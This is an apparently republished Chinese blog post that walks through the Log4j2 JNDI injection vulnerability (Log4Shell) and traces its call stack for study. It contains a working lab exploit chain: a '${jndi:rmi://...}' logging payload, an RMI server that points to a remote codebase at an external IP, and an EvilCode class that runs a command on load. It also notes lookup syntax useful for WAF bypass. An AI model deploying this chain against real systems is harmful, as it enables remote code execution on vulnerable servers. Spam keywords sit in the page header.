国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

log4j2漏洞分析

這篇具有很好參考價值的文章主要介紹了log4j2漏洞分析。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

環(huán)境布置

和前面的JNDI注入時用的代碼差不多

package Log4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //有些高版本jdk需要打開此行代碼
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        //模擬填寫數(shù)據(jù),輸入構(gòu)造好的字符串,使受害服務(wù)器打印日志時執(zhí)行遠程的代碼 同一臺可以使用127.0.0.1
        String username = "${jndi:rmi://127.0.0.1:1099/hello}";
        //正常打印業(yè)務(wù)日志
        logger.error("username:{}",username);
    }
}
package JNDI_Inesrct;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello", refObjWrapper);
    }
}

package Log4j2;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class EvilCode {
    static {
        System.out.println("受害服務(wù)器將執(zhí)行下面命令行");
        Process p;

        String[] cmd = {"calc"};
        try {
            p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

如果要引入log4j2的jar包可以這么配置Maven的pom.xml

<dependency>
          <groupId>org.apache.logging.log4j</groupId>
          <artifactId>log4j-api</artifactId>
          <version>2.14.0</version>
      </dependency>
      <dependency>
          <groupId>org.apache.logging.log4j</groupId>
          <artifactId>log4j-core</artifactId>
          <version>2.14.0</version>
      </dependency>

還要創(chuàng)建個配置文件
log4j2漏洞分析

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">

    <!--全局參數(shù)-->
    <Properties>
        <Property name="pattern">%d{yyyy-MM-dd HH:mm:ss,SSS} %5p %c{1}:%L - %m%n</Property>
        <Property name="logDir">/data/logs/dust-server</Property>
    </Properties>

    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="console"/>
            <AppenderRef ref="rolling_file"/>
        </Root>
    </Loggers>

    <Appenders>
        <!-- 定義輸出到控制臺 -->
        <Console name="console" target="SYSTEM_OUT" follow="true">
            <!--控制臺只輸出level及以上級別的信息-->
            <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/>
            <PatternLayout>
                <Pattern>${pattern}</Pattern>
            </PatternLayout>
        </Console>
        <!-- 同一來源的Appender可以定義多個RollingFile,定義按天存儲日志 -->
        <RollingFile name="rolling_file"
                     fileName="${logDir}/dust-server.log"
                     filePattern="${logDir}/dust-server_%d{yyyy-MM-dd}.log">
            <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/>
            <PatternLayout>
                <Pattern>${pattern}</Pattern>
            </PatternLayout>
            <Policies>
                <TimeBasedTriggeringPolicy interval="1"/>
            </Policies>
            <!-- 日志保留策略,配置只保留七天 -->
            <DefaultRolloverStrategy>
                <Delete basePath="${logDir}/" maxDepth="1">
                    <IfFileName glob="dust-server_*.log" />
                    <IfLastModified age="7d" />
                </Delete>
            </DefaultRolloverStrategy>
        </RollingFile>
    </Appenders>
</Configuration>

前言

log4j2這個漏洞當(dāng)時爆出來的時候堪稱是核彈級別的,危害非常大,利用還非常簡單,既然如此,那我們肯定要分析一下漏洞相關(guān)的原理來學(xué)習(xí)一下

漏洞分析

調(diào)用棧

這個漏洞是個JNDI注入漏洞,分析前我們需要清楚這一點,之前我也分析過JNDI注入的相關(guān)流程,該漏洞是從javax.naming.InitialContext開始的,那我們就在那里下個斷點,就可以得到log4j2這個漏洞的調(diào)用棧了,

log4j2漏洞分析log4j2漏洞分析

一些前置知識

在詳細分析前先簡單了解下log4j三大組件:

Logger:日志記錄器,負責(zé)收集處理日志記錄
Appender:日志存放的地方,負責(zé)日志的輸出
Layout:日志格式化,負責(zé)日志輸出的形式

入口函數(shù)

本次漏洞的入口函數(shù)為logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都會觸發(fā)到該函數(shù),但是后想要觸發(fā)該漏洞只能error/fotal觸發(fā)
log4j2漏洞分析
log4j2漏洞分析
log4j2漏洞分析
想要觸發(fā)后續(xù)流程,需要調(diào)用logMessage方法,需要isEnable為true,isEnable會對level進行判斷,只有小于等于200,才會返回true。
他們的level如下所示

static {
        OFF = new Level("OFF", StandardLevel.OFF.intLevel());
     //100
        FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
     //200
        ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
     //300
        WARN = new Level("WARN", StandardLevel.WARN.intLevel());
     //400
        INFO = new Level("INFO", StandardLevel.INFO.intLevel());
     //500
        DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
     //600
        TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
     //2147483647
        ALL = new Level("ALL", StandardLevel.ALL.intLevel());
    }

LoggerConfig.processLogEvent()

log4j2漏洞分析
在log4j2中通過LoggerConfig.processLogEvent()處理日志事件,event中就是我們的日志事件,主要部分在調(diào)用callAppenders()即調(diào)用Appender

AppenderControl.callAppender

log4j2漏洞分析
Appender功能主要是負責(zé)將日志事件傳遞到其目標(biāo),常用的Appender有ConsoleAppender(輸出到控制臺)、FileAppender(輸出到本地文件)等,通過AppenderControl獲取具體的Appender,本次調(diào)試的是ConsoleAppender。
log4j2漏洞分析
調(diào)用了AbstractOutputStreamAppender.tryAppend()嘗試輸出日志

AbstractOutputStreamAppender.tryAppend()

log4j2漏洞分析
在輸入日志之前還得進行日志格式化,于是調(diào)用了directEncodeEvent

AbstractOutputStreamAppender.directEncodeEvent

log4j2漏洞分析

首先通過getLayout()獲取Layout日志格式,通過Layout.encode()進行日志的格式化

PatternLayout.encode

log4j2漏洞分析
經(jīng)過兩層encode調(diào)用后再調(diào)用toText,在toSerializable處完成日志格式化

PatternLayout.toSerializable

log4j2漏洞分析
這里通過format來完成了格式化的事

MessagePatternConverter.format(),

處理傳入的message通過MessagePatternConverter.format(),也是本次漏洞的關(guān)鍵之處,我們具體來看下。
log4j2漏洞分析
當(dāng)config存在并且noLookups為false,匹配到${'則會調(diào)用replace替換字符串

StrSubstitutor.replace()

這里是調(diào)用棧最初調(diào)用lookup相關(guān)的地方
log4j2漏洞分析
這里我們看不出啥,跟進兩層substitute調(diào)用后,查看相關(guān)代碼

StrSubstitutor.substitute

StrSubstitutor類提供的 substitute 方法,是整個 Lookup 功能的核心,用來遞歸替換相應(yīng)的字符,這里我們仔細看一下處理邏輯。
log4j2漏洞分析
我們先看看它的一些參數(shù)都代表了啥

prefixMatcher代表${ 前綴
suffixMatcher代表 } 后綴
escape代表 $
valueDelimiterMatcher代表 :和-
chars是我們寫入日志的字符串
bufEnd相當(dāng)于字符串長度
pos相當(dāng)于頭指針

接下來分析下代碼邏輯
log4j2漏洞分析
通過 while 循環(huán)遍歷字符串尋找 ${ 前綴,找到以后startMatchLen會被賦值為2,相當(dāng)于返回匹配到的前綴字符串長度,然后跳出循環(huán)

接著進入下一個while循環(huán),尋找后綴
log4j2漏洞分析
在找后綴的 while 循環(huán)里,又判斷了是否碰到 ${前綴,如果碰到了pos指針直接加上它的長度讓指針后移繼續(xù)尋找后綴
log4j2漏洞分析
后面匹配到后綴以后,把前綴和后綴中間部分提取出來,endMatchLen是匹配到的后綴的長度。
log4j2漏洞分析
后綴匹配完后,還要通過多個 if/else 用來匹配 :- 和 :-

:- 是一個賦值關(guān)鍵字,如果程序處理到 ${aaaa:-bbbb} 這樣的字符串,處理的結(jié)果將會是 bbbb,:- 關(guān)鍵字將會被截取掉,而之前的字符串都會被舍棄掉。
:- 是轉(zhuǎn)義的 :-,如果一個用 a:b 表示的鍵值對的 key a 中包含 :,則需要使用轉(zhuǎn)義來配合處理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。

通過上面的處理后,將會調(diào)用 resolveVariable 方法解析滿足 Lookup 功能的語法,并執(zhí)行相應(yīng)的 lookup ,將返回的結(jié)果替換回原字符串后,再次調(diào)用 substitute 方法進行遞歸解析。
log4j2漏洞分析
因此在字符串替換的過程中可以看到,方法提供了一些特殊的寫法,并支持遞歸解析。而這些特性,將會可以用來進行繞過 WAF。

我們接著看resolveVariable方法

StrSubstitutor.resolveVariable

log4j2漏洞分析
這里調(diào)用了Interpolator.lookup,繼續(xù)去看看

Interpolator.lookup

Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 類來代理所有的 StrLookup 實現(xiàn)類。也就是說在實際使用 Lookup 功能時,由 Interpolator 這個類來處理和分發(fā)。

這個類在初始化時創(chuàng)建了一個 strLookupMap ,將一些 lookup 功能關(guān)鍵字和處理類進行了映射,存放在這個 Map 中。
log4j2漏洞分析
在 2.14.0 版本中,默認是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加載不到對應(yīng)的處理類,則會添加警告信息并跳過。而這些不同 Lookup 功能的支持,是隨著版本更新的,例如在較低版本中,不存在 upper、lower 這兩種功能,因此在使用時要注意環(huán)境。

處理和分發(fā)的關(guān)鍵邏輯在于其 lookup 方法,該漏洞利用的也是lookup方法
log4j2漏洞分析
通過 : 作為分隔符來分隔 Lookup 關(guān)鍵字及參數(shù),從strLookupMap 中根據(jù)關(guān)鍵字作為 key 匹配到對應(yīng)的處理類,并調(diào)用其 lookup 方法。

JndiLookup.lookup

本次漏洞的觸發(fā)方式是使用 jndi: 關(guān)鍵字來觸發(fā) JNDI 注入漏洞,對于 jndi: 關(guān)鍵字的處理類為 org.apache.logging.log4j.core.lookup.JndiLookup
log4j2漏洞分析
看一下最關(guān)鍵的 lookup 方法,可以看到是使用了 JndiManager 來支持 JNDI 的查詢功能。

JndiManager.lookup

log4j2漏洞分析
這里用到了javax.naming.InitialContext,這就接上了我們之前文章講的JNDI注入的內(nèi)容,后續(xù)就不再分析了,這就是log4j2漏洞的基本流程

總結(jié)

log4j2的調(diào)用鏈我們就分析完,相對于之前分析的漏洞來說,調(diào)用棧還挺長的,也很有意思,收獲滿滿,但還需要繼續(xù)學(xué)習(xí),有些知識點還不是很清晰。至于該漏洞的各種rce以及各種繞過姿勢,后面有空再繼續(xù)學(xué)習(xí)了。

參考文章

https://paper.seebug.org/1786/#0x01
https://su18.org/post/log4j2/#%E5%85%B3%E9%94%AE%E7%82%B9%E5%88%86%E6%9E%90
https://www.anquanke.com/post/id/262668#h3-6文章來源地址http://www.zghlxwxcb.cn/news/detail-489014.html

到了這里,關(guān)于log4j2漏洞分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • Springboot使用自帶Logback 與 整合log4j 和 log4j2過程詳解

    Springboot使用自帶Logback 與 整合log4j 和 log4j2過程詳解

    1、添加依賴 2、logback-spring.xml配置 3、使用? ?本地日志: 1、添加依賴 2、log4j.properties文件配置 ?3、配置文件中設(shè)置日志 application.yml: 4、使用: 1、添加依賴 2、log4j2.xml配置 3、配置文件中設(shè)置日志 application.yml 4、使用: 注意:如果pom.xml中添加有?spring-boot-starter-test 依賴 必

    2024年01月19日
    瀏覽(58)
  • [CVE-2021-44228]:log4j2漏洞學(xué)習(xí)與復(fù)現(xiàn)流程詳解(vulhub環(huán)境)

    [CVE-2021-44228]:log4j2漏洞學(xué)習(xí)與復(fù)現(xiàn)流程詳解(vulhub環(huán)境)

    剛搭好vulhub,迫不及待的來復(fù)現(xiàn)一下2021-2022最潮最in的漏洞log4j2,因為算是熱點了面試什么的的感覺都蠻容易被問到的,這里就來整理一下這個漏洞相關(guān)信息和漏洞復(fù)現(xiàn)的流程。 影響版本:log4j 2.x = 2.14.1 漏洞簡介 首先肯定得簡單了解一下log4j2到底是什么東西,log4j2是Apache的

    2024年02月08日
    瀏覽(27)
  • 日志框架梳理(Log4j,Reload4j,JUL,JCL,SLF4J,Logback,Log4j2)

    文中代碼示例獲?。宏P(guān)注【 Qin的學(xué)習(xí)營地 】,回復(fù)【 日志框架梳理 】 在了解日志框架時總會列出一系列框架:Log4j,Reload4j,JUL,JCL,SLF4J,Logback,Log4j2,這么多框架讓人感到混亂,該怎么選取、該怎么用。接下來,讓我們逐步理清這些框架及之間的關(guān)系。 首先來了解日志

    2024年02月05日
    瀏覽(63)
  • Log4j2 反序列化漏洞與復(fù)現(xiàn)

    Log4j → Log for Java ,Apache的開源日志記錄組件 JDK →1.8u21以下的版本 CVE-2021-44228 遠程代碼執(zhí)行 →2.15.0修復(fù) CVE-2021-45046 拒絕服務(wù)Dos →2.16.0修復(fù) CVE-2021-45105 拒絕服務(wù)Dos →2.17.0修復(fù) CVE-2021-44832 遠程代碼執(zhí)行 →2.17.1修復(fù) Log4j為了輸出日志時能輸出任意位置的Java對象,引入了Looku

    2024年02月05日
    瀏覽(29)
  • Log4j2 - JNDI 注入漏洞復(fù)現(xiàn)(CVE-2021-44228)

    Log4j2 - JNDI 注入漏洞復(fù)現(xiàn)(CVE-2021-44228)

    Apache log4j 是 Apache 的一個開源項目, Apache log4j2 是一個 Java 的日志記錄工具。該工具重寫了 log4j 框架,并且引入了大量豐富的特性。我們可以控制日志信息輸送的目的地為控制臺、文件、GUI組件等,通過定義每一條日志信息的級別,能夠更加細致地控制日志的生成過程。 l

    2024年02月07日
    瀏覽(35)
  • Java代碼審計15之Apache log4j2漏洞

    Java代碼審計15之Apache log4j2漏洞

    2.1、高版本測試 先說結(jié)論,ldap協(xié)議, rmi協(xié)議 還有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、測試代碼 先引入組件, main.java jndiexp.java 2.3、補充之dns探測 2.3.1、rmi、ldap也可以dnslog探測 在使用dnslog探測漏洞的時候, 其實不僅僅dns協(xié)議可以,ldap和rmi協(xié)議也可以, 類似的rmi,

    2024年02月10日
    瀏覽(30)
  • 【分布式技術(shù)專題】「Zookeeper中間件」zookeeper的服務(wù)器的log4j升級為log4j2的升級方案(忽略配置化兼容問題)

    【分布式技術(shù)專題】「Zookeeper中間件」zookeeper的服務(wù)器的log4j升級為log4j2的升級方案(忽略配置化兼容問題)

    目前希望可以升級將Zookeeper中l(wèi)og4j的版本升級到log4j2版本,并且要避開相關(guān)的log4j2的安全隱患問題,此時需要考慮的就是針對于如何將無縫銜接log4j2的版本jar包的安裝呢?我們接下來觀察一下看看問題所在。目前我采用的環(huán)境是windows環(huán)境,不過也同樣對其他操作系統(tǒng)有效,畢

    2024年02月20日
    瀏覽(25)
  • Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理

    Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理

    2.15.0之前版漏洞相關(guān)文章 Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(一)—開篇與基礎(chǔ)知識 Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理 Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(三)—復(fù)現(xiàn)步驟(攻擊方法) Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(四)—漏洞修復(fù)原理 2.15.

    2024年02月07日
    瀏覽(47)
  • 復(fù)現(xiàn)CVE-2021-44228-Apache Log4j2遠程代碼執(zhí)行漏洞

    復(fù)現(xiàn)CVE-2021-44228-Apache Log4j2遠程代碼執(zhí)行漏洞

    復(fù)現(xiàn)CVE-2021-44228-Apache Log4j2遠程代碼執(zhí)行漏洞 目錄 前言 漏洞原理 影響范圍 環(huán)境搭建漏洞復(fù)現(xiàn) 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一個嚴重的遠程代碼執(zhí)行安全漏洞(CVE-2021-44228),有嚴重的安全風(fēng)險。Apache Log4j2是一款優(yōu)秀的Java日志框架, 被廣泛地應(yīng)用在

    2024年02月05日
    瀏覽(28)
  • log4j2遠程代碼執(zhí)行漏洞原理與漏洞復(fù)現(xiàn)(基于vulhub,保姆級的詳細教程)

    log4j2遠程代碼執(zhí)行漏洞原理與漏洞復(fù)現(xiàn)(基于vulhub,保姆級的詳細教程)

    啥是log4j2? log4j2是apache下的java應(yīng)用常見的開源日志庫,是一個就Java的日志記錄工具。在log4j框架的基礎(chǔ)上進行了改進,并引入了豐富的特性,可以控制日志信息輸送的目的地為控制臺、文件、GUI組建等,被應(yīng)用于業(yè)務(wù)系統(tǒng)開發(fā),用于記錄程序輸入輸出日志信息。 啥是JNDI? 由

    2024年02月06日
    瀏覽(27)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包